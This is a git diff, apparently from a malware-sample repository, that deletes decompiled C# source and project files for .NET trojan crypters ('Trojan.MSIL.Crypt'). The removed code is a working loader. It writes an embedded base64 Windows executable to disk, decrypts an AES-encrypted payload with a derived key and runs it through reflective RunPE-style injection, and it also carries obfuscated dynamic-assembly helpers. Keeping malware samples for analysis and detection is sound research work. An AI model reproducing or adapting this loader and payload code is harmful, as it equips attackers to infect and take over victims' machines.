tc9geIvvx7kr5DkeNyvVURkQLMjyT9Hh+ZpBM3qht7mmNEBv2kmvaJ0mJc3LPOSc+C9QJiTaFgvKkNCIfZVBrUt/7V4NMGAPZI8QbVqy4XfPbPDd4glyR0gwt1/icXXM9fZI6EyFMrPyi++/1jZ7kWptiTcz70srrle8yUASPP3KMNm+6ql8syoHiez3RsgBXJUSAo98BMXPkhbbV41NcJI0wd99SSDGbiN780Tind5Fv/A0dxs3kxD2Cv//sOj80+039SoAi5tOz6f877/SOTB0R+JvKFDQARiv63PSZb9q9iBIvwP8KkOrpvdWppJPboxJPdb3EJPCCb/68fBfrSKkNkJBDUP5qP58q6zCAt2ydAQP24fgpAK1rTWSPj7PyMjLjSXhi+3e5ohxbNXEAPfFINSe3ytIpYDylxwMwS8cN3kGfHEE3FSndl1/4uKxv0Kgl+/ebyRQKV6tpWYwMON0yP8ykbuLzypqcwJjYFY7/SeQcflBoJ0Xldloe16GT5V+caArGgFJ/QtUPiSS4ZRCI3zqV8JBq0Fcqu4DfA5vhdfdnsf84GToxhVuuM0bsld0ymzt1MHY+cP3qL2SjOB7qCeGY+0kiCjTKg+CHmij0lUAeLuqI/RTihd5wjgERucg9DQyr/U0WaGA0a1R7qrFhdKeu+38JVEK/yDFhgTEDciogKc4xXzpiUArJKOfJ18u8X9V2iUoZxnSi5xy4D60tTCRH7qBXcJjJvl06h5bZbYyBO0DWoR/+9FNdREGmRPiSuhoKvDwyj5kZnjRGqhJevbddnDPwQSqcfemiIpWrQNo8kU7v1g8a2Qr9BaSO0Na4lKIWcgEeFOIcOPBR44Xi9ZfNKejWS+EgqsGKDXHZqDGOL9mAtl/cxjOufaGaMIRl9Vsd7ftZARsLIU25tXDe67wmMFLCEqvZAkLpw/G8CUieStJZvkTexffC7CzcyTr0McojzoviCNn845pnxFwLZ/wNPy4+6t+7tKLG0zIHA8Zl3wSCK4jKJp8ZhEhqgIYGVamJgZLq9Itx2UzHRG9JHC5fORHBvwXUmnS+GEiYSWmmJ/GKxRRtSGd0BWl9Sftlu7D4Ux+ZXPxVnth03dtFfP/uGTN73GtNM7mjz4g3D/L/LgQbW6+c4+Rqe6HMkex+2fbXTPwRG9StogEZGQ0Qm7qWMaiezEg/XT9uZu1rSNb/gq2CTGjvkablHEs7Xv2H7M4EZRgbxgLpbvd9qxepAPa/AsPLKsOeDxeJ0vLX0YndNrE3HOS4Cr9GC1dqyaDuciJ0Jn7ccrYXRSjMsyjfzsw/VDKIRv6Q7rp5qe8WCNtlveC8I/eSiThtRlvqrkCOFBurPSyO0eTem4RNgvt/36V23L7Mwnes4zpGDEAgEnxFjkUHH1BLcrdoDnE1mZZe0H7MQyEPvPLb98l", "i8NGa7y5Z2So", "Wd5o8F2HbLr36GfMc4", "SHA1", 2, "Wt2j6ZSw8f4C9QxE", 128)); - File.WriteAllBytes(path, Convert.FromBase64String("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- Driver.Cr4o9KRj7w5T3Yak("IMETHOD", "ibMethod", Ba86Kgp9AXs37Wz, new object[1] - { - (object) "drvhosta9.exe" - }); - Driver.Cr4o9KRj7w5T3Yak("RPEMETHOD", "Run", Ba86Kgp9AXs37Wz, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool Cr4o9KRj7w5T3Yak( - string Qx6r8SMj79GdDo3s4TKg25Lpb6C7At, - string Jz8t2M7KoCe5f4TH, - Assembly Ba86Kgp9AXs37Wz, - object[] d6Y7Ccj9HDr4k2RAn35KoFp8q7S4Z) - { - try - { - Type type = Ba86Kgp9AXs37Wz.GetType(Qx6r8SMj79GdDo3s4TKg25Lpb6C7At); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(Jz8t2M7KoCe5f4TH); - if ((object) method != null) - return (bool) method.Invoke((object) null, d6Y7Ccj9HDr4k2RAn35KoFp8q7S4Z); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] x8F5MsDz7k4ZX( - string w9P4JeNf83Wgo6C2ZbYx75SrAn2t6D, - string b8MWq92Bkm4K3SsJd65Dzr7P5GjZy4, - string Eg4d9TKp25WnJz68Cto7HY, - string Cr4o9KRj7w5T3Yak, - int Xy6q7Z9TzCe28Bbg3J4, - string Jj74YySt3k9WLp8n5MQz26Nf, - int q5KJp2c7B4Mxb8F) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(Jj74YySt3k9WLp8n5MQz26Nf); - byte[] bytes2 = Encoding.ASCII.GetBytes(Eg4d9TKp25WnJz68Cto7HY); - byte[] buffer = Convert.FromBase64String(w9P4JeNf83Wgo6C2ZbYx75SrAn2t6D); - byte[] bytes3 = new PasswordDeriveBytes(b8MWq92Bkm4K3SsJd65Dzr7P5GjZy4, bytes2, Cr4o9KRj7w5T3Yak, Xy6q7Z9TzCe28Bbg3J4).GetBytes(q5KJp2c7B4Mxb8F / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index 903ca40b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {22487CED-3376-4E12-8FF6-446977B8CA5A} - WinExe - P4RCRYPT - 2.4.0.3 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index adc52892..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "P4RCRYPT", "Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.csproj", "{22487CED-3376-4E12-8FF6-446977B8CA5A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {22487CED-3376-4E12-8FF6-446977B8CA5A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {22487CED-3376-4E12-8FF6-446977B8CA5A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {22487CED-3376-4E12-8FF6-446977B8CA5A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {22487CED-3376-4E12-8FF6-446977B8CA5A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/AssemblyInfo.cs deleted file mode 100644 index 878c37d3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/Trojan.MSIL.Crypt.hixz.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/Trojan.MSIL.Crypt.hixz.csproj deleted file mode 100644 index 8b8e21ee..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/Trojan.MSIL.Crypt.hixz.csproj +++ /dev/null @@ -1,152 +0,0 @@ - - - - - Debug - AnyCPU - {E695837E-CD5A-41B0-8F63-233660EF370B} - WinExe - syncui - 1.0.0.0 - ___codefort - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/Trojan.MSIL.Crypt.hixz.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/Trojan.MSIL.Crypt.hixz.sln deleted file mode 100644 index 2a8633b6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/Trojan.MSIL.Crypt.hixz.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "syncui", "Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.csproj", "{E695837E-CD5A-41B0-8F63-233660EF370B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E695837E-CD5A-41B0-8F63-233660EF370B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E695837E-CD5A-41B0-8F63-233660EF370B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E695837E-CD5A-41B0-8F63-233660EF370B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E695837E-CD5A-41B0-8F63-233660EF370B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_ b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_ deleted file mode 100644 index 00be80f6297c28aa989e6cdcb3d1bdff621ee592..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 41750 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a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_.cs deleted file mode 100644 index 960e9dd5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort._ -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - public class _ - { - [STAThread] - public static void \u0002\u0003\u0012([In] string[] obj0) - { - \u0013\u0009.\u0002\u0003\u0003(obj0); - \u0013\u0009.\u0002\u0003\u0004(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0002_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0002_0004.cs deleted file mode 100644 index d54f41b2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0002_0004.cs +++ /dev/null @@ -1,316 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Collections; -using System.IO; -using System.IO.Compression; -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; -using System.Text; - -namespace ___codefort -{ - internal sealed class \u0002\u0004 - { - public static bool \u0003\u0001\u0009([In] object obj0) => ((IEnumerator) obj0).MoveNext(); - - public static void \u0003\u0001\u0013([In] object obj0) => ((IDisposable) obj0).Dispose(); - - public static Type \u0003\u0001\u0012([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); - - public static string \u0003\u0001\u0015([In] ref object obj0) => __nonvirtual (obj0.ToString()); - - public static string \u0003\u0001\u0014([In] string obj0, [In] string obj1) => obj0 + obj1; - - public static FieldInfo \u0003\u0001\u0017( - [In] object obj0, - [In] string obj1, - [In] BindingFlags obj2) - { - return ((Type) obj0).GetField(obj1, obj2); - } - - public static object \u0003\u0001\u0016([In] object obj0, [In] object obj1) => ((FieldInfo) obj0).GetValue(obj1); - - public static string \u0003\u0001\u0002([In] string obj0, [In] string obj1, [In] string obj2, [In] string obj3) => obj0 + obj1 + obj2 + obj3; - - public static Exception \u0003\u0001\u0001([In] string obj0) => new Exception(obj0); - - public static string \u0003\u0001\u0004([In] ref object obj0) => obj0.Name; - - public static string \u0003\u0001\u0003([In] object obj0) => Convert.ToString(obj0); - - public static string \u0003\u0001\u0006([In] string[] obj0) => string.Concat(obj0); - - public static string[] \u0003\u0001\u0005([In] object obj0, [In] char[] obj1) => ((string) obj0).Split(obj1); - - public static StringBuilder \u0003\u0001\u0008() => new StringBuilder(); - - public static StringBuilder \u0003\u0001\u0007([In] object obj0, [In] string obj1) => ((StringBuilder) obj0).Append(obj1); - - public static string \u0003\u0008\u000A([In] object obj0, [In] int obj1, [In] int obj2) => ((string) obj0).Substring(obj1, obj2); - - public static string \u0003\u0008\u0009([In] object obj0) => ((string) obj0).ToUpper(); - - public static int \u0003\u0008\u0013([In] object obj0) => ((string) obj0).Length; - - public static string \u0003\u0008\u0012([In] object obj0, [In] int obj1) => ((string) obj0).Substring(obj1); - - public static MethodInfo \u0003\u0008\u0015([In] object obj0, [In] string obj1) => ((Type) obj0).GetMethod(obj1); - - public static object \u0003\u0008\u0014([In] object obj0, [In] object obj1, [In] object[] obj2) => ((MethodBase) obj0).Invoke(obj1, obj2); - - public static Assembly \u0003\u0008\u0017() => Assembly.GetExecutingAssembly(); - - public static Stream \u0003\u0008\u0016([In] object obj0, [In] string obj1) => ((Assembly) obj0).GetManifestResourceStream(obj1); - - public static MemoryStream \u0003\u0008\u0002([In] byte[] obj0) => new MemoryStream(obj0); - - public static BinaryReader \u0003\u0008\u0001([In] Stream obj0) => new BinaryReader(obj0); - - public static int \u0003\u0008\u0004([In] object obj0) => ((BinaryReader) obj0).ReadInt32(); - - public static byte[] \u0003\u0008\u0003([In] object obj0, [In] int obj1) => ((BinaryReader) obj0).ReadBytes(obj1); - - public static double \u0003\u0008\u0006([In] double obj0) => Math.Atan(obj0); - - public static double \u0003\u0008\u0005([In] double obj0) => Math.Ceiling(obj0); - - public static Stream \u0003\u0008\u0008([In] object obj0) => ((BinaryReader) obj0).BaseStream; - - public static long \u0003\u0008\u0007([In] object obj0) => ((Stream) obj0).Length; - - public static long \u0003\u0007\u000A([In] object obj0) => ((Stream) obj0).Position; - - public static ConstructorInfo \u0003\u0007\u0009([In] object obj0, [In] Type[] obj1) => ((Type) obj0).GetConstructor(obj1); - - public static object \u0003\u0007\u0013([In] object obj0, [In] object[] obj1) => ((ConstructorInfo) obj0).Invoke(obj1); - - public static GZipStream \u0003\u0007\u0012([In] Stream obj0, [In] CompressionMode obj1) => new GZipStream(obj0, obj1); - - public static int \u0003\u0007\u0015([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Read(obj1, obj2, obj3); - - public static void \u0003\u0007\u0014([In] object obj0) => ((Stream) obj0).Close(); - - public static void \u0003\u0007\u0017([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write(obj1, obj2, obj3); - - public static AppDomain \u0003\u0007\u0016() => AppDomain.CurrentDomain; - - public static AssemblyName \u0003\u0007\u0002([In] string obj0) => new AssemblyName(obj0); - - public static AssemblyBuilder \u0003\u0007\u0001( - [In] object obj0, - [In] AssemblyName obj1, - [In] AssemblyBuilderAccess obj2) - { - return ((AppDomain) obj0).DefineDynamicAssembly(obj1, obj2); - } - - public static ModuleBuilder \u0003\u0007\u0004([In] object obj0, [In] string obj1) => ((AssemblyBuilder) obj0).DefineDynamicModule(obj1); - - public static Type \u0003\u0007\u0003([In] object obj0) => ((TypeBuilder) obj0).CreateType(); - - public static Type \u0003\u0007\u0006([In] object obj0, [In] string obj1) => ((Assembly) obj0).GetType(obj1); - - public static object \u0003\u0007\u0005([In] object obj0, [In] string obj1) => ((Assembly) obj0).CreateInstance(obj1); - - public static TypeBuilder \u0003\u0007\u0008( - [In] object obj0, - [In] string obj1, - [In] TypeAttributes obj2) - { - return ((ModuleBuilder) obj0).DefineType(obj1, obj2); - } - - public static TypeBuilder \u0003\u0007\u0007( - [In] object obj0, - [In] string obj1, - [In] TypeAttributes obj2, - [In] Type obj3) - { - return ((ModuleBuilder) obj0).DefineType(obj1, obj2, obj3); - } - - public static ConstructorBuilder \u0003\u0006\u000A( - [In] object obj0, - [In] MethodAttributes obj1, - [In] CallingConventions obj2, - [In] Type[] obj3) - { - return ((TypeBuilder) obj0).DefineConstructor(obj1, obj2, obj3); - } - - public static void \u0003\u0006\u0009([In] object obj0, [In] MethodImplAttributes obj1) => ((ConstructorBuilder) obj0).SetImplementationFlags(obj1); 